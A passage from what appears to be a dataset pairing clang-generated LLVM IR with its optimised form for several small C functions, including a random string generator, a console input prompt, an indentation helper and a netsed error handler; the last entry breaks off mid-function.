llvm-ir
stringlengths 479
303k
| llvm-optimized-ir
stringlengths 468
303k
|
|---|---|
; ModuleID = '/tmp/tmpqxs2zl4x.c'
source_filename = "/tmp/tmpqxs2zl4x.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@randstring.charset = internal global [63 x i8] c"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\00", align 16
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @randstring(i32 noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%6 = load i32, ptr %2, align 4
%7 = icmp sgt i32 %6, 0
br i1 %7, label %8, label %39
8: ; preds = %1
%9 = load i32, ptr %2, align 4
%10 = add nsw i32 %9, 1
%11 = call ptr @malloc(i32 noundef %10)
store ptr %11, ptr %3, align 8
%12 = load ptr, ptr %3, align 8
%13 = icmp ne ptr %12, null
br i1 %13, label %14, label %38
14: ; preds = %8
store i32 0, ptr %4, align 4
br label %15
15: ; preds = %30, %14
%16 = load i32, ptr %4, align 4
%17 = load i32, ptr %2, align 4
%18 = icmp slt i32 %16, %17
br i1 %18, label %19, label %33
19: ; preds = %15
%20 = call i32 (...) @rand()
%21 = srem i32 %20, 62
store i32 %21, ptr %5, align 4
%22 = load i32, ptr %5, align 4
%23 = sext i32 %22 to i64
%24 = getelementptr inbounds [63 x i8], ptr @randstring.charset, i64 0, i64 %23
%25 = load i8, ptr %24, align 1
%26 = load ptr, ptr %3, align 8
%27 = load i32, ptr %4, align 4
%28 = sext i32 %27 to i64
%29 = getelementptr inbounds i8, ptr %26, i64 %28
store i8 %25, ptr %29, align 1
br label %30
30: ; preds = %19
%31 = load i32, ptr %4, align 4
%32 = add nsw i32 %31, 1
store i32 %32, ptr %4, align 4
br label %15, !llvm.loop !6
33: ; preds = %15
%34 = load ptr, ptr %3, align 8
%35 = load i32, ptr %2, align 4
%36 = sext i32 %35 to i64
%37 = getelementptr inbounds i8, ptr %34, i64 %36
store i8 0, ptr %37, align 1
br label %38
38: ; preds = %33, %8
br label %39
39: ; preds = %38, %1
%40 = load ptr, ptr %3, align 8
ret ptr %40
}
declare ptr @malloc(i32 noundef) #1
declare i32 @rand(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpqxs2zl4x.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@randstring.charset = internal global [63 x i8] c"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\00", align 16
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @randstring(i32 noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%6 = load i32, ptr %2, align 4
%7 = icmp sgt i32 %6, 0
br i1 %7, label %8, label %41
8: ; preds = %1
%9 = load i32, ptr %2, align 4
%10 = add nsw i32 %9, 1
%11 = call ptr @malloc(i32 noundef %10)
store ptr %11, ptr %3, align 8
%12 = load ptr, ptr %3, align 8
%13 = icmp ne ptr %12, null
br i1 %13, label %14, label %40
14: ; preds = %8
store i32 0, ptr %4, align 4
%15 = load i32, ptr %4, align 4
%16 = load i32, ptr %2, align 4
%17 = icmp slt i32 %15, %16
br i1 %17, label %.lr.ph, label %35
.lr.ph: ; preds = %14
br label %18
18: ; preds = %.lr.ph, %29
%19 = call i32 (...) @rand()
%20 = srem i32 %19, 62
store i32 %20, ptr %5, align 4
%21 = load i32, ptr %5, align 4
%22 = sext i32 %21 to i64
%23 = getelementptr inbounds [63 x i8], ptr @randstring.charset, i64 0, i64 %22
%24 = load i8, ptr %23, align 1
%25 = load ptr, ptr %3, align 8
%26 = load i32, ptr %4, align 4
%27 = sext i32 %26 to i64
%28 = getelementptr inbounds i8, ptr %25, i64 %27
store i8 %24, ptr %28, align 1
br label %29
29: ; preds = %18
%30 = load i32, ptr %4, align 4
%31 = add nsw i32 %30, 1
store i32 %31, ptr %4, align 4
%32 = load i32, ptr %4, align 4
%33 = load i32, ptr %2, align 4
%34 = icmp slt i32 %32, %33
br i1 %34, label %18, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %29
br label %35
35: ; preds = %._crit_edge, %14
%36 = load ptr, ptr %3, align 8
%37 = load i32, ptr %2, align 4
%38 = sext i32 %37 to i64
%39 = getelementptr inbounds i8, ptr %36, i64 %38
store i8 0, ptr %39, align 1
br label %40
40: ; preds = %35, %8
br label %41
41: ; preds = %40, %1
%42 = load ptr, ptr %3, align 8
ret ptr %42
}
declare ptr @malloc(i32 noundef) #1
declare i32 @rand(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpljuyr405.c'
source_filename = "/tmp/tmpljuyr405.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpljuyr405.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp861yzxm_.c'
source_filename = "/tmp/tmp861yzxm_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [6 x i8] c"clear\00", align 1
@.str.1 = private unnamed_addr constant [38 x i8] c"Enter value that is smaller than 50:\0A\00", align 1
@.str.2 = private unnamed_addr constant [4 x i8] c"%ld\00", align 1
@.str.3 = private unnamed_addr constant [27 x i8] c"Value you entrered is: %ld\00", align 1
@.str.4 = private unnamed_addr constant [65 x i8] c"Value is wrong, try again. Enter value that is smaller than 50:\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i64, align 8
%3 = alloca i64, align 8
store i32 0, ptr %1, align 4
%4 = call i32 @system(ptr noundef @.str)
%5 = call i32 @gotoxy(i32 noundef 10, i32 noundef 10)
%6 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
%7 = call i32 @gotoxy(i32 noundef 10, i32 noundef 12)
%8 = call i32 @scanf(ptr noundef @.str.2, ptr noundef %2)
%9 = call i32 @system(ptr noundef @.str)
%10 = load i64, ptr %2, align 8
%11 = icmp slt i64 %10, 50
br i1 %11, label %12, label %17
12: ; preds = %0
%13 = call i32 @gotoxy(i32 noundef 10, i32 noundef 10)
%14 = load i64, ptr %2, align 8
%15 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, i64 noundef %14)
%16 = call i32 @system(ptr noundef @.str)
br label %23
17: ; preds = %0
%18 = call i32 @gotoxy(i32 noundef 10, i32 noundef 10)
%19 = call i32 (ptr, ...) @printf(ptr noundef @.str.4)
%20 = call i32 @gotoxy(i32 noundef 10, i32 noundef 12)
%21 = call i32 @scanf(ptr noundef @.str.2, ptr noundef %2)
%22 = call i32 @system(ptr noundef @.str)
br label %23
23: ; preds = %17, %12
%24 = call i32 (...) @getchar()
%25 = load i32, ptr %1, align 4
ret i32 %25
}
declare i32 @system(ptr noundef) #1
declare i32 @gotoxy(i32 noundef, i32 noundef) #1
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @getchar(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp861yzxm_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [6 x i8] c"clear\00", align 1
@.str.1 = private unnamed_addr constant [38 x i8] c"Enter value that is smaller than 50:\0A\00", align 1
@.str.2 = private unnamed_addr constant [4 x i8] c"%ld\00", align 1
@.str.3 = private unnamed_addr constant [27 x i8] c"Value you entrered is: %ld\00", align 1
@.str.4 = private unnamed_addr constant [65 x i8] c"Value is wrong, try again. Enter value that is smaller than 50:\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i64, align 8
%3 = alloca i64, align 8
store i32 0, ptr %1, align 4
%4 = call i32 @system(ptr noundef @.str)
%5 = call i32 @gotoxy(i32 noundef 10, i32 noundef 10)
%6 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
%7 = call i32 @gotoxy(i32 noundef 10, i32 noundef 12)
%8 = call i32 @scanf(ptr noundef @.str.2, ptr noundef %2)
%9 = call i32 @system(ptr noundef @.str)
%10 = load i64, ptr %2, align 8
%11 = icmp slt i64 %10, 50
br i1 %11, label %12, label %17
12: ; preds = %0
%13 = call i32 @gotoxy(i32 noundef 10, i32 noundef 10)
%14 = load i64, ptr %2, align 8
%15 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, i64 noundef %14)
%16 = call i32 @system(ptr noundef @.str)
br label %23
17: ; preds = %0
%18 = call i32 @gotoxy(i32 noundef 10, i32 noundef 10)
%19 = call i32 (ptr, ...) @printf(ptr noundef @.str.4)
%20 = call i32 @gotoxy(i32 noundef 10, i32 noundef 12)
%21 = call i32 @scanf(ptr noundef @.str.2, ptr noundef %2)
%22 = call i32 @system(ptr noundef @.str)
br label %23
23: ; preds = %17, %12
%24 = call i32 (...) @getchar()
%25 = load i32, ptr %1, align 4
ret i32 %25
}
declare i32 @system(ptr noundef) #1
declare i32 @gotoxy(i32 noundef, i32 noundef) #1
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @getchar(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp34vnbjm7.c'
source_filename = "/tmp/tmp34vnbjm7.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [47 x i8] c"M754_f(const char *s) is not yet implemented!\0A\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @M754_f(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = call i32 (ptr, ...) @debug(ptr noundef @.str)
%4 = load ptr, ptr %2, align 8
%5 = call i32 (ptr, ...) @debug(ptr noundef @.str.1, ptr noundef %4)
ret i32 1
}
declare i32 @debug(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp34vnbjm7.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [47 x i8] c"M754_f(const char *s) is not yet implemented!\0A\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @M754_f(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = call i32 (ptr, ...) @debug(ptr noundef @.str)
%4 = load ptr, ptr %2, align 8
%5 = call i32 (ptr, ...) @debug(ptr noundef @.str.1, ptr noundef %4)
ret i32 1
}
declare i32 @debug(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpw8cpn2im.c'
source_filename = "/tmp/tmpw8cpn2im.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @do_indent(i32 noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca i32, align 4
store i32 %0, ptr %2, align 4
store i32 0, ptr %3, align 4
br label %4
4: ; preds = %10, %1
%5 = load i32, ptr %3, align 4
%6 = load i32, ptr %2, align 4
%7 = icmp slt i32 %5, %6
br i1 %7, label %8, label %13
8: ; preds = %4
%9 = call i32 @putchar(i8 noundef signext 32)
br label %10
10: ; preds = %8
%11 = load i32, ptr %3, align 4
%12 = add nsw i32 %11, 1
store i32 %12, ptr %3, align 4
br label %4, !llvm.loop !6
13: ; preds = %4
ret void
}
declare i32 @putchar(i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpw8cpn2im.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @do_indent(i32 noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca i32, align 4
store i32 %0, ptr %2, align 4
store i32 0, ptr %3, align 4
%4 = load i32, ptr %3, align 4
%5 = load i32, ptr %2, align 4
%6 = icmp slt i32 %4, %5
br i1 %6, label %.lr.ph, label %15
.lr.ph: ; preds = %1
br label %7
7: ; preds = %.lr.ph, %9
%8 = call i32 @putchar(i8 noundef signext 32)
br label %9
9: ; preds = %7
%10 = load i32, ptr %3, align 4
%11 = add nsw i32 %10, 1
store i32 %11, ptr %3, align 4
%12 = load i32, ptr %3, align 4
%13 = load i32, ptr %2, align 4
%14 = icmp slt i32 %12, %13
br i1 %14, label %7, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %9
br label %15
15: ; preds = %._crit_edge, %1
ret void
}
declare i32 @putchar(i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpq1lm_5s7.c'
source_filename = "/tmp/tmpq1lm_5s7.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [15 x i8] c"[-] Error: %s\0A\00", align 1
@.str.1 = private unnamed_addr constant [18 x i8] c"netsed: exiting.\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @error(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load i32, ptr @stderr, align 4
%4 = load ptr, ptr %2, align 8
%5 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %3, ptr noundef @.str, ptr noundef %4)
%6 = load i32, ptr @stderr, align 4
%7 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %6, ptr noundef @.str.1)
%8 = call i32 (...) @clean_socks()
%9 = call i32 @exit(i32 noundef 2) #3
unreachable
}
declare i32 @fprintf(i32 noundef, ptr noundef, ...) #1
declare i32 @clean_socks(...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpq1lm_5s7.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [15 x i8] c"[-] Error: %s\0A\00", align 1
@.str.1 = private unnamed_addr constant [18 x i8] c"netsed: exiting.\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @error(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load i32, ptr @stderr, align 4
%4 = load ptr, ptr %2, align 8
%5 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %3, ptr noundef @.str, ptr noundef %4)
%6 = load i32, ptr @stderr, align 4
%7 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %6, ptr noundef @.str.1)
%8 = call i32 (...) @clean_socks()
%9 = call i32 @exit(i32 noundef 2) #3
unreachable
}
declare i32 @fprintf(i32 noundef, ptr noundef, ...) #1
declare i32 @clean_socks(...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp7cimmjfp.c'
source_filename = "/tmp/tmp7cimmjfp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @first(ptr noundef %0, i32 noundef %1, i32 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store ptr %0, ptr %4, align 8
store i32 %1, ptr %5, align 4
store i32 %2, ptr %6, align 4
%7 = load ptr, ptr %4, align 8
%8 = icmp ne ptr %7, null
br i1 %8, label %9, label %13
9: ; preds = %3
%10 = load i32, ptr %5, align 4
%11 = load i32, ptr %6, align 4
%12 = icmp sle i32 %10, %11
br label %13
13: ; preds = %9, %3
%14 = phi i1 [ false, %3 ], [ %12, %9 ]
%15 = zext i1 %14 to i32
%16 = call i32 @assert(i32 noundef %15)
%17 = load i32, ptr %5, align 4
%18 = load i32, ptr %6, align 4
%19 = icmp slt i32 %17, %18
br i1 %19, label %20, label %22
20: ; preds = %13
%21 = load i32, ptr %5, align 4
br label %23
22: ; preds = %13
br label %23
23: ; preds = %22, %20
%24 = phi i32 [ %21, %20 ], [ -1, %22 ]
ret i32 %24
}
declare i32 @assert(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp7cimmjfp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @first(ptr noundef %0, i32 noundef %1, i32 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store ptr %0, ptr %4, align 8
store i32 %1, ptr %5, align 4
store i32 %2, ptr %6, align 4
%7 = load ptr, ptr %4, align 8
%8 = icmp ne ptr %7, null
br i1 %8, label %9, label %13
9: ; preds = %3
%10 = load i32, ptr %5, align 4
%11 = load i32, ptr %6, align 4
%12 = icmp sle i32 %10, %11
br label %13
13: ; preds = %9, %3
%14 = phi i1 [ false, %3 ], [ %12, %9 ]
%15 = zext i1 %14 to i32
